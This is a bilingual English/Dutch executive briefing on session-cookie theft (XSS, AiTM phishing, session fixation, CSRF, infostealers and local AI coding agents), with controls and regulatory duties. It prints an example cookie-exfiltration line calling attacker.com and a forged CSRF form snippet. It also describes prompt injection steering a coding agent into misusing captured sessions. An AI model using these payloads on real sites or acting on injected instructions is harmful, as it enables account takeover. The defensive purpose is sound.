A stolen cookie means stolen authentication. With it, attackers get into systems without the password, skip the multi-factor authentication the user already passed, and act as that user towards downstream systems. Een gestolen cookie betekent gestolen authenticatie. Daarmee komen aanvallers binnen zonder wachtwoord, slaan ze de multifactorauthenticatie over die de gebruiker al had doorlopen, en treden ze op als die gebruiker richting andere systemen.
Your web app renders a customer comment without encoding it, or loads an outdated third-party script. That is an XSS flaw. An attacker uses it to run their own JavaScript on your app's pages, in your users' browsers. One line, fetch('https://attacker.com/steal?c=' + document.cookie), sends your app's cookies to the attacker, including the session cookie if it lacks the HttpOnly flag. The attacker now holds a logged-in session to your app. The user sees nothing, and the padlock is still there. Logging out helps only if your app ends the session on the server.
Business impact: the attacker gets into the user's account without the password, because the session already passed multi-factor authentication. They can move money, read data, change permissions and act as the user towards systems that trust the session.
Uw webapplicatie toont een klantreactie zonder die te coderen, of laadt een verouderd script van een derde partij. Dat is een XSS-lek. Een aanvaller gebruikt het om eigen JavaScript op de pagina's van uw applicatie te draaien, in de browser van uw gebruikers. Eén regel, fetch('https://attacker.com/steal?c=' + document.cookie), stuurt de cookies van uw applicatie naar de aanvaller, ook de sessiecookie als die de HttpOnly-vlag mist. De aanvaller heeft nu een ingelogde sessie in uw applicatie. De gebruiker merkt niets en het hangslot staat er nog. Uitloggen helpt alleen als uw applicatie de sessie op de server beëindigt.
Bedrijfsimpact: de aanvaller komt in het account zonder wachtwoord, omdat de sessie de multifactorauthenticatie al heeft doorlopen. Hij kan geld overmaken, gegevens lezen, rechten wijzigen en optreden als de gebruiker richting systemen die de sessie vertrouwen.
AI coding assistants can locate a known XSS flaw in an outdated library and generate a working exploit payload, including the exact line that exfiltrates cookies, from a short description of the bug, cutting the skill needed to weaponise it.AI-codeerassistenten kunnen een bekende XSS-fout in een verouderde bibliotheek opsporen en een werkende exploit genereren, inclusief de regel die cookies exfiltreert, op basis van een korte omschrijving van de fout, waardoor er veel minder vaardigheid nodig is.
Someone with legitimate access to a third-party script supplier can use AI to generate obfuscated tracking scripts that quietly also harvest cookies, disguising theft as ordinary analytics code that a routine review would otherwise wave through.Iemand met legitieme toegang bij een leverancier van scripts kan AI gebruiken om verhulde trackingscripts te genereren die stiekem ook cookies verzamelen, waardoor diefstal wordt vermomd als gewone analysecode die een routinecontrole zou laten passeren.
AI-assisted code scanning can flag missing HttpOnly flags and risky third-party scripts across an entire codebase far faster than manual review ever could. The flag itself, not the scanner, is what stops a script from reading the cookie once XSS happens.AI-ondersteunde codescanning kan ontbrekende HttpOnly-vlaggen en risicovolle scripts van derden veel sneller over een hele codebase signaleren dan handmatige controle. De vlag zelf, niet de scanner, voorkomt dat een script de cookie leest zodra XSS optreedt.
Today the most common version is phishing. An employee clicks a link to what looks like the Microsoft 365 login page. It is an AiTM proxy, built with a kit such as Evilginx or Tycoon 2FA, that passes everything on to the real site. The employee enters their password and MFA code, the real site issues a session cookie, and the proxy keeps a copy. The attacker now holds a session that has already passed MFA. The older route still exists: on a hostile WiFi network, any request sent over plain HTTP shows its cookies in readable text, for example on a forgotten subdomain or a first visit before the redirect to HTTPS.
Business impact: one click can hand over a mailbox or SaaS account, even with MFA switched on. These kits are sold as a service: Microsoft reported that Tycoon 2FA campaigns reached over 500,000 organisations a month before its takedown in March 2026.
Tegenwoordig is phishing de meest voorkomende vorm. Een medewerker klikt op een link naar iets dat eruitziet als de inlogpagina van Microsoft 365. Het is een AiTM-proxy, gebouwd met een kit als Evilginx of Tycoon 2FA, die alles doorgeeft aan de echte site. De medewerker vult wachtwoord en MFA-code in, de echte site geeft een sessiecookie uit en de proxy bewaart een kopie. De aanvaller heeft nu een sessie die de MFA al heeft doorlopen. De oudere route bestaat nog: op een vijandig wifinetwerk is elk verzoek via gewone HTTP met cookies en al leesbaar, bijvoorbeeld op een vergeten subdomein of bij een eerste bezoek vóór de doorverwijzing naar HTTPS.
Bedrijfsimpact: één klik kan een mailbox of SaaS-account weggeven, ook als MFA aanstaat. Deze kits worden als dienst verkocht: Microsoft meldde dat campagnes met Tycoon 2FA ruim 500.000 organisaties per maand bereikten, tot de ontmanteling in maart 2026.
AI does not break the encryption behind HTTPS and cannot put an attacker on the network path by itself. The attacker still needs a rogue access point or a compromised router, so a passive sniffing attack is barely easier than it was before.AI breekt de versleuteling achter HTTPS niet en kan een aanvaller niet zelfstandig op het netwerkpad zetten. Er is nog steeds een malafide toegangspunt of een gecompromitteerde router nodig, dus een passieve sniffaanval is nauwelijks makkelijker dan voorheen.
An attacker can pair the old rogue-hotspot trick with an AI-cloned voice of the internal helpdesk, calling a travelling employee to talk them onto a fake fix-it network, adding a convincing social layer to a purely technical old attack.Een aanvaller kan de oude truc met een malafide hotspot combineren met een AI-gekloonde stem van de interne helpdesk, die een reizende medewerker overhaalt om op een vals reparatienetwerk in te loggen, wat een overtuigende sociale laag toevoegt aan een puur technische oude aanval.
AI-driven monitoring can flag any endpoint that still allows an HTTP fallback across a large estate faster than manual testing would find it. HSTS and the Secure flag are what actually close the gap once that endpoint is found.AI-gestuurde monitoring kan elk eindpunt dat nog een HTTP-terugval toestaat sneller signaleren over een grote omgeving dan handmatig testen ooit zou vinden. HSTS en de Secure-vlag sluiten het gat daadwerkelijk zodra dat eindpunt is gevonden.
The attacker visits the login page first and is given session ID "12345". They send a user a link that carries that same ID. The user clicks and logs in, and the application keeps the existing session ID instead of issuing a new one. User and attacker now share one logged-in session, and the attacker never needed a password. A second variant: the application hands out session IDs in sequence (1, 2, 3…) or with weak randomness. The attacker guesses the ID of someone who just logged in and uses it as their own.
Business impact: an attacker can set up access to an account before the user even logs in, or take over a session without stealing credentials. Many implementations issue a new session ID on login but forget to invalidate the old one, leaving a window in which both are valid.
De aanvaller bezoekt eerst zelf de inlogpagina en krijgt sessie-ID "12345". Hij stuurt een gebruiker een link met diezelfde ID. De gebruiker klikt en logt in, en de applicatie houdt de bestaande sessie-ID aan in plaats van een nieuwe uit te geven. Gebruiker en aanvaller delen nu één ingelogde sessie, zonder dat de aanvaller een wachtwoord nodig had. Een tweede variant: de applicatie deelt sessie-ID's oplopend uit (1, 2, 3…) of met zwakke willekeur. De aanvaller raadt de ID van iemand die net is ingelogd en gebruikt die als de zijne.
Bedrijfsimpact: een aanvaller kan toegang tot een account regelen nog voordat de gebruiker inlogt, of een sessie overnemen zonder inloggegevens te stelen. Veel implementaties geven bij inloggen een nieuwe sessie-ID uit, maar vergeten de oude ongeldig te maken. Dan is er een periode waarin beide geldig zijn.
Where session identifiers come from a proper cryptographic random generator, no realistic amount of AI compute helps an attacker guess one; it remains a near-impossible bet. The exposure only exists in legacy code still using weak or sequential identifiers.Waar sessie-identifiers uit een echte cryptografische generator komen, helpt geen realistische hoeveelheid AI-rekenkracht een aanvaller om er een te raden; het blijft kansloos. De blootstelling bestaat alleen nog in oudere code die zwakke of sequentiële identifiers gebruikt.
A developer using an AI code generator can unknowingly accept a suggested login flow that defaults to a simple counter or weak random function for session identifiers, quietly reintroducing exactly this vulnerability into a brand-new feature.Een ontwikkelaar die een AI-codegenerator gebruikt, kan onbewust een voorgestelde inlogstroom overnemen die standaard een eenvoudige teller of zwakke randomfunctie gebruikt voor sessie-identifiers, waardoor precies deze kwetsbaarheid in een gloednieuwe functie terugkeert.
AI-assisted code review can flag any hand-rolled session identifier generator during a pull request before it ever ships. The actual fix is using the platform's cryptographic randomness by default and issuing a new identifier on every login.AI-ondersteunde codebeoordeling kan elke zelfgebouwde generator voor sessie-identifiers tijdens een pull request signaleren voordat die ooit wordt uitgerold. De echte oplossing is standaard de cryptografische willekeur van het platform gebruiken en bij elke login een nieuwe identifier uitgeven.
A user is logged in to your web app. To make an embedded widget or single sign-on work, the session cookie is set with SameSite=None, so the browser sends it along with requests from any site. The user then opens a page on attacker.com. That page holds a hidden form that submits itself: <form method="POST" action="https://app.example/transfer">. The browser sends the request with the user's session cookie. Your app sees a logged-in request and carries it out. This is CSRF. Since 2020, Chromium browsers such as Chrome and Edge treat cookies without a SameSite setting as Lax, which blocks this form post. The gap reopens with SameSite=None, or with actions that a plain link can trigger.
Business impact: an attacker can have the user's browser carry out actions the user never intended: transfers, permission changes, a new email address on the account, deletions. In your logs the request looks legitimate.
Een gebruiker is ingelogd in uw webapplicatie. Om een ingesloten widget of single sign-on te laten werken, staat de sessiecookie op SameSite=None. De browser stuurt hem dus mee met verzoeken vanaf elke site. De gebruiker opent daarna een pagina op attacker.com. Daarop staat een verborgen formulier dat zichzelf verstuurt: <form method="POST" action="https://app.example/transfer">. De browser verstuurt het verzoek met de sessiecookie van de gebruiker. Uw applicatie ziet een ingelogd verzoek en voert het uit. Dit is CSRF. Sinds 2020 behandelen Chromium-browsers zoals Chrome en Edge cookies zonder SameSite-instelling als Lax, en dat blokkeert dit formulier. Het gat gaat weer open met SameSite=None, of bij acties die een gewone link kan starten.
Bedrijfsimpact: een aanvaller kan de browser van de gebruiker acties laten uitvoeren die de gebruiker nooit bedoelde: overboekingen, rechtenwijzigingen, een nieuw e-mailadres op het account, verwijderingen. In uw logs ziet het verzoek er legitiem uit.
Browser defaults have narrowed CSRF, and building the hidden request was already simple. What AI adds is speed: an attacker can generate the right forged request for many different target sites at once instead of crafting each one by hand.Standaardinstellingen van browsers hebben CSRF ingeperkt, en het verborgen verzoek opstellen was al eenvoudig. Wat AI toevoegt is snelheid: een aanvaller kan het juiste vervalste verzoek voor veel verschillende doelsites tegelijk genereren in plaats van elk apart met de hand te maken.
An AI-written phishing email, personalised and fluent, is what actually gets a logged-in employee to click through to the page hosting the forged request, turning an old browser quirk into a far more convincing and scalable lure.Een AI-geschreven phishingmail, gepersonaliseerd en vloeiend, is wat een ingelogde medewerker daadwerkelijk naar de pagina met het vervalste verzoek laat klikken, waardoor een oude browsereigenaardigheid een veel overtuigender en schaalbaar lokmiddel wordt.
AI can help write and test SameSite and CSRF-token coverage across many endpoints in far less time than a manual audit. A CSRF token on every state-changing request, with SameSite=Lax as a second layer, is what actually stops the forged request.AI kan helpen bij het schrijven en testen van SameSite- en CSRF-tokendekking over veel eindpunten, in veel minder tijd dan een handmatige audit. Een CSRF-token bij elk verzoek dat iets wijzigt, met SameSite=Lax als tweede laag, houdt het vervalste verzoek echt tegen.
Infostealer malware does this at scale: it copies the browser's cookie store and sends it to the attacker. A local AI coding agent (Claude Code, Codex CLI) opens a similar path. It runs with the developer's own permissions, so it can open browser profiles and the token files that command-line tools keep on disk, already signed in as that user. Browsers encrypt the cookie store (Keychain on macOS, App-Bound Encryption in Chrome on Windows). That slows theft down, but attackers have found ways around it. No script was injected and no traffic was intercepted, so HttpOnly, Secure and SameSite do not help against a local process reading a file.
Business impact: sessions stolen by infostealers are often resold to other criminals. An agent adds its own risk. Because it acts autonomously across a multi-step task, it can decide mid-task to use a captured session for something it was never asked to do. That decision is often triggered by instructions hidden inside content the agent fetched along the way: a webpage, a ticket, a file — a prompt-injection style scope drift that turns a code-editing session into an authenticated action the developer never approved.
Infostealer-malware doet dit op grote schaal: die kopieert de cookie-opslag van de browser en stuurt die naar de aanvaller. Een lokale AI-codeeragent (Claude Code, Codex CLI) opent een vergelijkbare route. Hij draait met de rechten van de ontwikkelaar, dus hij kan browserprofielen openen en de tokenbestanden die opdrachtregeltools op schijf bewaren, al ingelogd als die gebruiker. Browsers versleutelen de cookie-opslag (Keychain op macOS, App-Bound Encryption in Chrome op Windows). Dat vertraagt diefstal, maar aanvallers hebben manieren gevonden om het te omzeilen. Er is geen script geïnjecteerd en geen verkeer onderschept, dus HttpOnly, Secure en SameSite helpen niet tegen een lokaal proces dat een bestand leest.
Bedrijfsimpact: sessies die infostealers stelen, worden vaak doorverkocht aan andere criminelen. Een agent voegt een eigen risico toe. Omdat hij zelfstandig handelt over een taak met meerdere stappen, kan hij halverwege besluiten een gevonden sessie te gebruiken voor iets waar niemand om vroeg. Die beslissing wordt vaak getriggerd door instructies verborgen in content die de agent onderweg ophaalde: een webpagina, een ticket, een bestand — een vorm van promptinjectie die een programmeersessie omzet in een ingelogde actie die de ontwikkelaar nooit heeft goedgekeurd.
Getting malicious instructions in front of a running coding agent, through a poisoned dependency, a booby-trapped repository file or a compromised ticket, still takes some setup and depends on the agent already holding broad file and network access.Kwaadaardige instructies voor een draaiende codeeragent krijgen, via een vergiftigde dependency, een valstrik in een repositorybestand of een gemanipuleerd ticket, vergt nog steeds voorbereiding en hangt af van een agent die al brede bestands- en netwerktoegang heeft.
A developer can simply ask their own agent, in plain language, to open the browser cookie store and reuse a session, work that used to require knowing exactly where session tokens live on disk and how to parse the file.Een ontwikkelaar kan zijn eigen agent in gewone taal vragen om de cookie-opslag van de browser te openen en een sessie te hergebruiken, werk waarvoor vroeger precieze kennis nodig was van waar sessietokens op schijf staan en hoe dat bestand te lezen is.
AI tooling can flag when the action an agent requests falls outside the task it was given, a useful tripwire. The control that actually holds is running the agent in a sandbox without browser profile access, with outbound authenticated calls gated behind human approval.AI-tooling kan signaleren wanneer een gevraagde actie van een agent buiten de toegewezen taak valt, een nuttige struikeldraad. De maatregel die echt standhoudt is de agent in een sandbox draaien zonder toegang tot het browserprofiel, met uitgaande geauthenticeerde aanroepen achter menselijke goedkeuring.
| Control | Contains | In one line |
|---|---|---|
| HttpOnly flag | XSS theft (01) | Worth setting on every session cookie. JavaScript cannot read it, so an XSS flaw cannot simply copy the cookie. |
| Secure flag | Network interception (02) | Set Secure on every authentication cookie, so the browser only sends it over HTTPS. |
| HTTPS only | Network interception (02) | Enforce HTTPS site-wide: redirect HTTP to HTTPS and send an HSTS header with a long max-age, so there is no HTTP fallback. |
| Phishing-resistant MFA | AiTM phishing (02) | Phishing-resistant MFA such as passkeys stops a phishing proxy from collecting a usable session. Worth starting with admins and finance. |
| Cryptographic randomness | Session fixation (03) | Generate session IDs with a cryptographically secure random generator, never sequential. Platform defaults such as Python's secrets or Node's crypto.randomBytes do this. |
| Regenerate on login | Session fixation (03) | Issue a new session ID at login and invalidate the old one at once, so both are never valid together. |
| SameSite=Lax + CSRF tokens | CSRF (04) | SameSite=Lax on session cookies plus a CSRF token on every state-changing request is the usual combination (OWASP). Use SameSite=None only where a cross-site flow needs it, and never change data with a GET request. |
| Output encoding + CSP | XSS (01) | Encode user data wherever the page displays it; that is the main XSS defence (OWASP). A CSP limits which scripts may run, as a second layer. |
| Monitoring and revocation | All five | Log session creation and use. Alert on one session used from two locations, unusual timing or unexpected countries. Make it possible to revoke a session without forcing a password reset. |
| Device-bound sessions & agent isolation | Infostealers, local AI agents (05) | Bind sessions to the device so a copied cookie is useless: Chrome DBSC (generally available on Windows since 2026), Microsoft Entra token protection, or DPoP/mTLS for APIs. Keep sessions short. Run agents in a container without access to the browser profile, with an egress allowlist, human approval for authenticated calls, and their own least-privilege credential. |
| Maatregel | Beheerst | In één zin |
|---|---|---|
| HttpOnly-vlag | XSS-diefstal (01) | Het overwegen waard op elke sessiecookie. JavaScript kan hem dan niet lezen, dus een XSS-lek kan de cookie niet zomaar kopiëren. |
| Secure-vlag | Netwerkonderschepping (02) | Zet Secure op elke authenticatiecookie, zodat de browser hem alleen via HTTPS verstuurt. |
| Alleen HTTPS | Netwerkonderschepping (02) | Dwing HTTPS af op de hele site: stuur HTTP door naar HTTPS en stuur een HSTS-header met een lange max-age, zodat er geen terugval naar HTTP is. |
| Phishingbestendige MFA | AiTM-phishing (02) | Phishingbestendige MFA, zoals passkeys, voorkomt dat een phishingproxy een bruikbare sessie buitmaakt. Begin bij voorkeur bij beheerders en financiën. |
| Cryptografische willekeur | Sessiefixatie (03) | Genereer sessie-ID's met een cryptografisch veilige randomgenerator, nooit oplopend. Platformstandaarden zoals secrets in Python of crypto.randomBytes in Node doen dit. |
| Nieuwe ID bij inloggen | Sessiefixatie (03) | Geef bij inloggen een nieuwe sessie-ID uit en maak de oude direct ongeldig, zodat ze nooit tegelijk geldig zijn. |
| SameSite=Lax + CSRF-tokens | CSRF (04) | SameSite=Lax op sessiecookies plus een CSRF-token bij elk verzoek dat iets wijzigt, is de gebruikelijke combinatie (OWASP). Gebruik SameSite=None alleen waar een cross-site stroom dat nodig heeft, en wijzig nooit gegevens met een GET-verzoek. |
| Uitvoercodering + CSP | XSS (01) | Codeer gebruikersgegevens overal waar de pagina ze toont; dat is de belangrijkste verdediging tegen XSS (OWASP). Een CSP beperkt als tweede laag welke scripts mogen draaien. |
| Monitoring en intrekking | Alle vijf | Log het aanmaken en gebruik van sessies. Waarschuw bij één sessie vanaf twee locaties, ongebruikelijke tijden of onverwachte landen. Maak het mogelijk een sessie in te trekken zonder wachtwoordreset. |
| Apparaatgebonden sessies & agentisolatie | Infostealers, lokale AI-agents (05) | Koppel sessies aan het apparaat, zodat een gekopieerde cookie nutteloos is: DBSC in Chrome (algemeen beschikbaar op Windows sinds 2026), tokenbescherming in Microsoft Entra, of DPoP/mTLS voor API's. Houd sessies kort. Draai agents in een container zonder toegang tot het browserprofiel, met een egress-allowlist, menselijke goedkeuring voor ingelogde aanroepen en een eigen credential met minimale rechten. |
Session theft through AiTM phishing and infostealers is common and actively exploited. XSS and CSRF still turn up in web apps; session fixation is rarer in mature frameworks but appears in custom code.Sessiediefstal via AiTM-phishing en infostealers komt veel voor en wordt actief misbruikt. XSS en CSRF duiken nog op in webapplicaties; sessiefixatie is zeldzamer in volwassen frameworks, maar komt voor in maatwerk.
Full takeover of a user's identity and access: attackers act as the user, change data, steal information and set up lasting access. If personal data is involved, the GDPR requires notifying the Autoriteit Persoonsgegevens within 72 hours.Volledige overname van identiteit en toegang: aanvallers treden op als de gebruiker, wijzigen gegevens, stelen informatie en regelen blijvende toegang. Gaat het om persoonsgegevens, dan eist de AVG een melding bij de Autoriteit Persoonsgegevens binnen 72 uur.
Cookie flags, HTTPS and CSRF tokens close most web-app routes. Residual risk comes from infostealers on unmanaged devices, new XSS flaws, and phishing where MFA is not yet phishing-resistant. Code review and penetration tests reduce it further.Cookievlaggen, HTTPS en CSRF-tokens sluiten de meeste routes in webapplicaties. Restrisico komt van infostealers op onbeheerde apparaten, nieuwe XSS-lekken en phishing waar MFA nog niet phishingbestendig is. Codereview en penetratietests verlagen het verder.
CTO for engineering practices and secure defaults; Security for policy, monitoring and incident response.CTO voor engineeringpraktijken en veilige standaardinstellingen; Security voor beleid, monitoring en incidentrespons.
% of session cookies with HttpOnly and Secure · % of state-changing endpoints protected by a CSRF token · % of sign-ins with phishing-resistant MFA · open XSS or CSRF findings from testing · average session lifetime in minutes.% sessiecookies met HttpOnly en Secure · % endpoints die iets wijzigen en een CSRF-token vereisen · % aanmeldingen met phishingbestendige MFA · openstaande XSS- of CSRF-bevindingen uit tests · gemiddelde sessieduur in minuten.
"Theft or interception of session cookies enables unauthorised access to user accounts and downstream systems, bypassing authentication and MFA.""Diefstal of onderschepping van sessiecookies geeft onbevoegde toegang tot gebruikersaccounts en achterliggende systemen, buiten de authenticatie en MFA om."
Not covered by HttpOnly, Secure or SameSite: an agent with filesystem access can read browser profiles and token files on disk, then act on a captured session outside its assigned task. Worth tracking which developer workstations run agents with unrestricted disk and network access.Niet gedekt door HttpOnly, Secure of SameSite: een agent met toegang tot het bestandssysteem kan browserprofielen en tokenbestanden op schijf lezen en daarna buiten zijn taak handelen met een gevonden sessie. Het is de moeite waard bij te houden welke ontwikkelaarswerkstations agents draaien met onbeperkte schijf- en netwerktoegang.
| Framework | What it requires of you | When a supplier hands you their report | When this incident happens |
|---|---|---|---|
| NIS2 | Art. 21 requires risk-management measures including access control, multi-factor authentication and secure development. Session management falls under these. In the Netherlands this is the Cyberbeveiligingswet (Cbw), in force since 15 August 2026. | Ask for evidence of HttpOnly, Secure and SameSite on all authentication cookies, and of sessions being ended on logout and password change. A third-party test worth its name includes cookie handling in its XSS and CSRF checks. | Session theft used to access systems can count as a significant incident if it meets the thresholds: early warning within 24 hours of becoming aware, incident notification within 72 hours, final report within one month. Revoke the affected sessions. |
| DORA | For financial entities, DORA (Art. 9) requires strong authentication mechanisms and access controls; session management is part of that. DORA has applied since 17 January 2025. | Ask for proof of cookie security settings and test evidence. A general statement that "secure cookies are used" says little without specifics. | Account takeover via stolen cookies can count as a major ICT-related incident if it meets the classification criteria: initial notification within 4 hours of classifying it as major (at most 24 hours after becoming aware), intermediate report within 72 hours, final report within one month. |
| SOC 2 | Session management, authentication and access control fall under CC6 (logical access). Session fixation, XSS-based theft and CSRF are common audit findings. | Worth checking that the report covers cookie flags, session timeouts and how sessions are invalidated, with test evidence rather than configuration screenshots. | The deviation (missing cookie flags, session hijacking, weak session IDs) appears in the next report. Customers will ask for a remediation timeline and confirmation of no unauthorised access. |
| ISAE 3402 | Assurance over outsourced processes relevant to financial reporting. Session handling is rarely in scope unless the application itself processes transactions that feed the books, such as payments or orders. | Read the control objectives. If logins and sessions of the customer-facing application are not among them, the report says nothing about session theft, however reassuring the opinion looks. | ISAE 3402 creates no duty to notify user auditors. Expect a deviation in the next report, and ask for interim disclosure in the contract. |
| PCI DSS 4.0.1 | Req. 6.2.4 asks for development practices that prevent attacks such as XSS and CSRF; 8.2.8 requires re-authentication after 15 minutes idle. Since 31 March 2025, 6.4.3 (inventory and authorise every payment-page script) and 11.6.1 (detect changes to those scripts and headers) are mandatory. | Ask for the payment-page script inventory, evidence of session timeouts and logout, and XSS/CSRF test results. "Secure by default" is not proof. | If cardholder data was exposed, your incident response plan (req. 12.10.1) covers notifying the card brands and acquirer. Card brands can require a forensic investigation. |
| Kader | Wat het van u vraagt | Als een leverancier u zijn rapport geeft | Als dit incident u treft |
|---|---|---|---|
| NIS2 | Art. 21 vereist risicobeheersmaatregelen, waaronder toegangsbeheer, multifactorauthenticatie en veilige ontwikkeling. Sessiebeheer valt daaronder. In Nederland is dat de Cyberbeveiligingswet (Cbw), van kracht sinds 15 augustus 2026. | Vraag om bewijs van HttpOnly, Secure en SameSite op alle authenticatiecookies, en dat sessies worden beëindigd bij uitloggen en wachtwoordwijziging. Een degelijke externe test neemt cookieafhandeling mee in de XSS- en CSRF-controles. | Gestolen sessies waarmee systemen zijn benaderd, kunnen als significant incident gelden als de drempels worden gehaald: vroege waarschuwing binnen 24 uur na kennisname, incidentmelding binnen 72 uur, eindrapport binnen een maand. Trek de getroffen sessies in. |
| DORA | Voor financiële entiteiten eist DORA (art. 9) sterke authenticatiemechanismen en toegangsbeheer; sessiebeheer hoort daarbij. DORA geldt sinds 17 januari 2025. | Vraag om bewijs van de cookie-instellingen en testresultaten. Een algemene bewering dat "veilige cookies worden gebruikt" zegt weinig zonder details. | Accountovername via gestolen cookies kan als ernstig ICT-gerelateerd incident gelden als aan de classificatiecriteria is voldaan: eerste melding binnen 4 uur na classificatie als ernstig (uiterlijk 24 uur na kennisname), tussentijds rapport binnen 72 uur, eindrapport binnen een maand. |
| SOC 2 | Sessiebeheer, authenticatie en toegangsbeheer vallen onder CC6 (logische toegang). Sessiefixatie, diefstal via XSS en CSRF zijn veelvoorkomende auditbevindingen. | Controleer of het rapport cookievlaggen, sessietime-outs en het ongeldig maken van sessies behandelt, met testbewijs in plaats van configuratieschermafdrukken. | De afwijking (ontbrekende cookievlaggen, sessiekaping, zwakke sessie-ID's) staat in het volgende rapport. Klanten vragen om een hersteltijdlijn en de bevestiging dat er geen onbevoegde toegang was. |
| ISAE 3402 | Zekerheid over uitbestede processen die relevant zijn voor de financiële verslaggeving. Sessiebeheer valt zelden binnen de scope, tenzij de applicatie zelf transacties verwerkt die in de boeken landen, zoals betalingen of bestellingen. | Lees de beheersdoelstellingen. Staan inloggen en sessies van de klantapplicatie er niet bij, dan zegt het rapport niets over sessiediefstal, hoe geruststellend het oordeel ook leest. | ISAE 3402 schept geen plicht om de auditors van klanten te informeren. Verwacht een afwijking in het volgende rapport, en vraag in het contract om tussentijdse melding. |
| PCI DSS 4.0.1 | Eis 6.2.4 vraagt om ontwikkelpraktijken die aanvallen als XSS en CSRF voorkomen; 8.2.8 eist opnieuw inloggen na 15 minuten inactiviteit. Sinds 31 maart 2025 zijn 6.4.3 (inventariseer en autoriseer elk script op betaalpagina's) en 11.6.1 (detecteer wijzigingen in die scripts en headers) verplicht. | Vraag om de scriptinventaris van betaalpagina's, bewijs van sessietime-outs en uitloggen, en XSS/CSRF-testresultaten. "Standaard veilig" is geen bewijs. | Zijn kaarthoudergegevens blootgesteld, dan regelt uw incidentresponsplan (eis 12.10.1) de melding aan de kaartmerken en de acquirer. Kaartmerken kunnen een forensisch onderzoek eisen. |
Checked against: Chromium SameSite updates (2020), Google on third-party cookies (Apr 2025), Chrome App-Bound Encryption (Jul 2024), Google DBSC GA (May 2026), Microsoft on Tycoon2FA (Mar 2026), Entra token protection (2026), OWASP CSRF and XSS cheat sheets, PCI DSS v4.0.1 (Jun 2024), NIS2 and DORA texts · September 2026.
Gecontroleerd tegen: Chromium SameSite-updates (2020), Google over cookies van derden (apr 2025), Chrome App-Bound Encryption (jul 2024), Google DBSC GA (mei 2026), Microsoft over Tycoon2FA (mrt 2026), Entra-tokenbescherming (2026), OWASP-CSRF- en XSS-cheatsheets, PCI DSS v4.0.1 (jun 2024), NIS2- en DORA-teksten · september 2026.